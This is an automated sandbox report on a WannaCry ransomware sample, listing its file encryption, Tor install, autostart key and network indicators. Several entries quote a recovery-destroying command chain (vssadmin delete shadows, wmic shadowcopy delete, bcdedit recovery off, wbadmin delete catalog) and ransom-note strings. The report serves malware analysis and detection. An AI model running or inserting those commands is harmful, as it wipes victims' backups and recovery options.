Analysis Report

Overview

General Information

Joe Sandbox Version:	18.0.0
Analysis ID:	269081
Start time:	18:52:11
Joe Sandbox Product:	Cloud
Start date:	12.05.2017
Overall analysis duration:	0h 12m 5s
Report type:	full
Sample file name:	mssecsvc.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 (Office 2010 v14.0.4, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled
Detection:	MAL
Classification:	mal100.evad.rans.phis.spyw.troj.winEXE@57/432@2/8
HCA Information:	Successful, ratio: 72% Number of executed functions: 230 Number of non-executed functions: 254
EGA Information:	Successful, ratio: 90%
Cookbook Comments:	Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): svchost.exe, VSSVC.exe, conhost.exe, dllhost.exe Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtQueryDirectoryFile calls found. Report size getting too big, too many NtSetInformationFile calls found. Too many dropped files, some of them have not been restored

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	100	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox

Sample has a GUI, but Joe Sandbox has not found any clickable buttons, likely requires more UI automation

Sample is a service DLL but no service has been registered

Sample sleeps for a long time, analyze it with the 'Bypass long sleeps' cookbook

Uses HTTPS for network communication, use the 'Proxy HTTPS (port 443) to read its encrypted data' cookbook for further analysis

Signature Overview

Click to jump to signature section

Change of System Appearance:

Contains functionalty to change the wallpaper

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004F20 swprintf,swprintf,MultiByteToWideChar,CopyFileW,CopyFileW,GetUserNameW,_wcsicmp,SystemParametersInfoW,swprintf,CopyFileW,	5_2_10004F20
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_00407E80 SHGetFolderPathW,wcslen,swprintf,MultiByteToWideChar,CopyFileW,SystemParametersInfoW,	14_2_00407E80
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 18_1_00407E80 SHGetFolderPathW,wcslen,swprintf,MultiByteToWideChar,CopyFileW,SystemParametersInfoW,	18_1_00407E80

Operating System Destruction:

Mass deletion, destroys many files

Show sources

Source: c:\programdata\ywepvofkuzu108\tasksche.exe

File deleted: Number of file deletion 1001 exceeds threshold 400

Cryptography:

Public key (encryption) found

Show sources

Source: taskhsvc.exe

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

Uses Microsoft's Enhanced Cryptographic Provider

Show sources

Source: C:\Windows\tasksche.exe	Code function: 3_2_004018B9 CryptReleaseContext,	3_2_004018B9
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004170 CryptExportKey,CryptGetKeyParam,GlobalAlloc,CryptEncrypt,GlobalFree,	5_2_10004170
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10003C00 CryptDestroyKey,	5_2_10003C00
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10003AC0 CryptImportKey,CryptImportKey,CryptDestroyKey,	5_2_10003AC0
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004040 CryptExportKey,GlobalAlloc,CryptExportKey,_local_unwind2,CreateFileA,WriteFile,_local_unwind2,	5_2_10004040
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004350 CryptGenKey,	5_2_10004350
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10003F00 GetFileAttributesA,GetFileAttributesA,CreateFileA,GetFileSize,GlobalAlloc,ReadFile,GetFileAttributesA,CryptImportKey,_local_unwind2,_local_unwind2,	5_2_10003F00
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004440 CryptAcquireContextA,wcsrchr,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,	5_2_10004440
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004370 EnterCriticalSection,CryptEncrypt,LeaveCriticalSection,LeaveCriticalSection,	5_2_10004370
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004420 CryptGenRandom,	5_2_10004420
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10003D10 GetFileAttributesA,CryptEncrypt,_local_unwind2,CryptDecrypt,GetFileAttributesA,strncmp,_local_unwind2,	5_2_10003D10
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10003A80 GetFileAttributesA,GetFileAttributesA,CryptAcquireContextA,	5_2_10003A80
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10003BB0 GetFileAttributesA,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	5_2_10003BB0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004046F0 CryptImportKey,	14_2_004046F0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004046B0 CryptAcquireContextA,	14_2_004046B0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,	14_2_004049B0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004047C0 CryptEncrypt,_local_unwind2,CryptDecrypt,strncmp,_local_unwind2,	14_2_004047C0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_00404AF0 EnterCriticalSection,CryptDecrypt,LeaveCriticalSection,LeaveCriticalSection,	14_2_00404AF0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_00404770 CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	14_2_00404770
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,	14_2_00404B70
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 18_1_00404770 CryptReleaseContext,	18_1_00404770
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_0033D6F1 CRYPTO_num_locks,CRYPTO_set_locking_callback,CRYPTO_THREADID_set_callback,__stack_chk_fail,	19_2_0033D6F1
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_00335EA1 ERR_load_crypto_strings,OPENSSL_add_all_algorithms_noconf,SSLeay_version,strcmp,__stack_chk_fail,	19_2_00335EA1
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_0033C797 abort,CryptAcquireContextA,CryptGenRandom,__stack_chk_fail,	19_2_0033C797
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_00339423 i2d_RSAPrivateKey,free,CRYPTO_free,__stack_chk_fail,	19_2_00339423
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_0033E737 i2d_X509,free,X509_free,memcpy,CRYPTO_free,X509_get_pubkey,EVP_PKEY_get1_RSA,EVP_PKEY_free,__stack_chk_fail,	19_2_0033E737
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_00337FA7 abort,abort,abort,abort,abort,RSA_public_decrypt,__stack_chk_fail,	19_2_00337FA7

Spam, unwanted Advertisements and Ransom Demands:

Contains functionality to import cryptographic keys (often used in ransomware)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10003AC0 CryptImportKey,CryptImportKey,CryptDestroyKey,	5_2_10003AC0
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10003F00 GetFileAttributesA,GetFileAttributesA,CreateFileA,GetFileSize,GlobalAlloc,ReadFile,GetFileAttributesA,CryptImportKey,_local_unwind2,_local_unwind2,	5_2_10003F00
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004440 CryptAcquireContextA,wcsrchr,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,	5_2_10004440
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004046F0 CryptImportKey,	14_2_004046F0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,	14_2_004049B0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,	14_2_00404B70

Deletes shadow drive data (may be related to ransomware)

Show sources

Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: unknown	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: @WanaDecryptor@.exe	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe	Binary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d
Source: @WanaDecryptor@.exe	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe	Binary or memory string: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe	Binary or memory string: 2@Z3EDITc vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietffv
Source: @WanaDecryptor@.exe	Binary or memory string: C:\ProgramData\ywepvofkuzu108\C:\Windows\system32;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\system32\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietC:\Windows\system32\cmd.exe=C:=C:\ProgramData\ywepvofkuzu108ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Windows\system32\config\systemprofile\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCOMPUTERNAME=ADMIN-PCComSpec=C:\Windows\system32\cmd.exeFP_NO_HOST_CHECK=NOLOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\LocalNUMBER_OF_PROCESSORS=1OS=Windows_NTPath=C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;
Source: @WanaDecryptor@.exe	Binary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: vssadmin.exe	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage
Source: vssadmin.exe	Binary or memory string: Example Usage: vssadmin Delete Shadows /Type=ClientAccessible /For=C:
Source: vssadmin.exe	Binary or memory string: vssadmin Delete Shadows
Source: vssadmin.exe	Binary or memory string: Example Usage: vssadmin Delete Shadows /For=C: /Oldest
Source: vssadmin.exe	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage /For=C: /On=D:

May disable shadow drive data (uses vssadmin)

Show sources

Source: unknown	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet

Ransomware detected (based on file extension or ransom instructions from fsrm.experiant.ca)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Garden.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\GreenBubbles.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\HandPrints.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Monet.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Notebook.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\OrangeCircles.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Peacock.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Pine_Lumber.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Pretty_Peacock.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Psychedelic.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Roses.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Sand_Paper.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\ShadesOfBlue.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Small_News.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\SoftBlue.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Stars.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Tanspecks.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\White_Chocolate.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\revocations.txt.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Music\Sample Music\AlbumArt_{5FA05D35-A682-4AF6-96F7-0773E42D4D16}_Large.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Music\Sample Music\AlbumArt_{5FA05D35-A682-4AF6-96F7-0773E42D4D16}_Small.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\User Account Pictures\guest.bmp.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\User Account Pictures\user.bmp.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp.WNCRY
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp.WNCRY

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe

Code function: 14_2_004035A0 SendMessageA,SendMessageA,OpenClipboard,SendMessageA,#3301,#924,#800,#800,SendMessageA,GlobalAlloc,GlobalLock,GlobalFree,SendMessageA,#3301,#924,#800,MultiByteToWideChar,wcslen,wcslen,#800,SendMessageA,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,

14_2_004035A0

Networking:

Contains functionality to download additional files from the internet

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe

Code function: 14_2_0040DB80 recv,

14_2_0040DB80

Downloads files from webservers via HTTP

Show sources

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache

Found strings which match to known social media urls

Show sources

Source: @WanaDecryptor@.exe	String found in binary or memory: Yahoo equals www.yahoo.com (Yahoo)
Source: taskhsvc.exe	String found in binary or memory: www.google.com,www.mit.edu,www.yahoo.com,www.slashdot.org equals www.yahoo.com (Yahoo)

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

Urls found in memory or binary data

Show sources

Source: @WanaDecryptor@.exe	String found in binary or memory: http://
Source: @WanaDecryptor@.exe	String found in binary or memory: http://%d/%d/%d
Source: taskhsvc.exe	String found in binary or memory: http://%s
Source: taskhsvc.exe	String found in binary or memory: http://%s:%d
Source: taskhsvc.exe	String found in binary or memory: http://%s:%dhttp://%s
Source: taskhsvc.exe	String found in binary or memory: http://%sencoding
Source: taskhsvc.exe	String found in binary or memory: http://freehaven.net/anonbib/#hs-attack06
Source: taskhsvc.exe	String found in binary or memory: http://skipping
Source: @WanaDecryptor@.exe	String found in binary or memory: http://www.btcfrog.com/qr/bitcoinpng.php?address=%s
Source: @WanaDecryptor@.exe	String found in binary or memory: http://www.btcfrog.com/qr/bitcoinpng.php?address=%smailto:%shttps://www.google.com/search?q=how
Source: mssecsvc.exe	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
Source: mssecsvc.exe	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
Source: taskhsvc.exe	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: taskhsvc.exe	String found in binary or memory: http://www.openssl.org/support/faq.htmlrand
Source: taskhsvc.exe	String found in binary or memory: http://www.openssl.org/v
Source: @WanaDecryptor@.exe	String found in binary or memory: http://www.zlib.net/d
Source: @WanaDecryptor@.exe	String found in binary or memory: https://
Source: taskhsvc.exe	String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relay
Source: taskhsvc.exe	String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relayerror
Source: @WanaDecryptor@.exe	String found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
Source: @WanaDecryptor@.exe	String found in binary or memory: https://en.wikipedia.org/wiki/bitcoin
Source: @WanaDecryptor@.exe	String found in binary or memory: https://en.wikipedia.org/wiki/bitcoinsend
Source: taskhsvc.exe	String found in binary or memory: https://trac.torproject.org/8742
Source: taskhsvc.exe	String found in binary or memory: https://trac.torproject.org/projects/tor/ticket/14917.
Source: taskhsvc.exe	String found in binary or memory: https://wiki.torproject.org/theonionrouter/torfaq#socksanddns.%s
Source: taskhsvc.exe	String found in binary or memory: https://wiki.torproject.org/theonionrouter/torfaq#socksanddns.%sdangerous_socks
Source: @WanaDecryptor@.exe	String found in binary or memory: https://www.google.com/search?q=how
Source: taskhsvc.exe	String found in binary or memory: https://www.torproject.org/
Source: taskhsvc.exe	String found in binary or memory: https://www.torproject.org/docs/faq.html#bestosforrelay
Source: taskhsvc.exe	String found in binary or memory: https://www.torproject.org/documentation.html
Source: taskhsvc.exe	String found in binary or memory: https://www.torproject.org/download/download#warning
Source: taskhsvc.exe	String found in binary or memory: https://www.torproject.org/download/download#warningalphabetathis

Uses HTTPS

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49197
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49196
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 443

HTTP GET or POST without a user agent

Show sources

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache

Detected TCP or UDP traffic on non-standard ports

Show sources

Source: global traffic	TCP traffic: 192.168.1.16:49198 -> 79.137.85.71:9001
Source: global traffic	TCP traffic: 192.168.1.16:49199 -> 195.154.107.23:993
Source: global traffic	TCP traffic: 192.168.1.16:49200 -> 138.68.0.4:9090

Installs TOR (Internet Anonymizer)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe

File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\tor.exe

Boot Survival:

Contains functionality to start windows services

Show sources

Source: C:\mssecsvc.exe

Code function: 0_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,

0_2_00408090

Creates an autostart registry key

Show sources

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ywepvofkuzu108
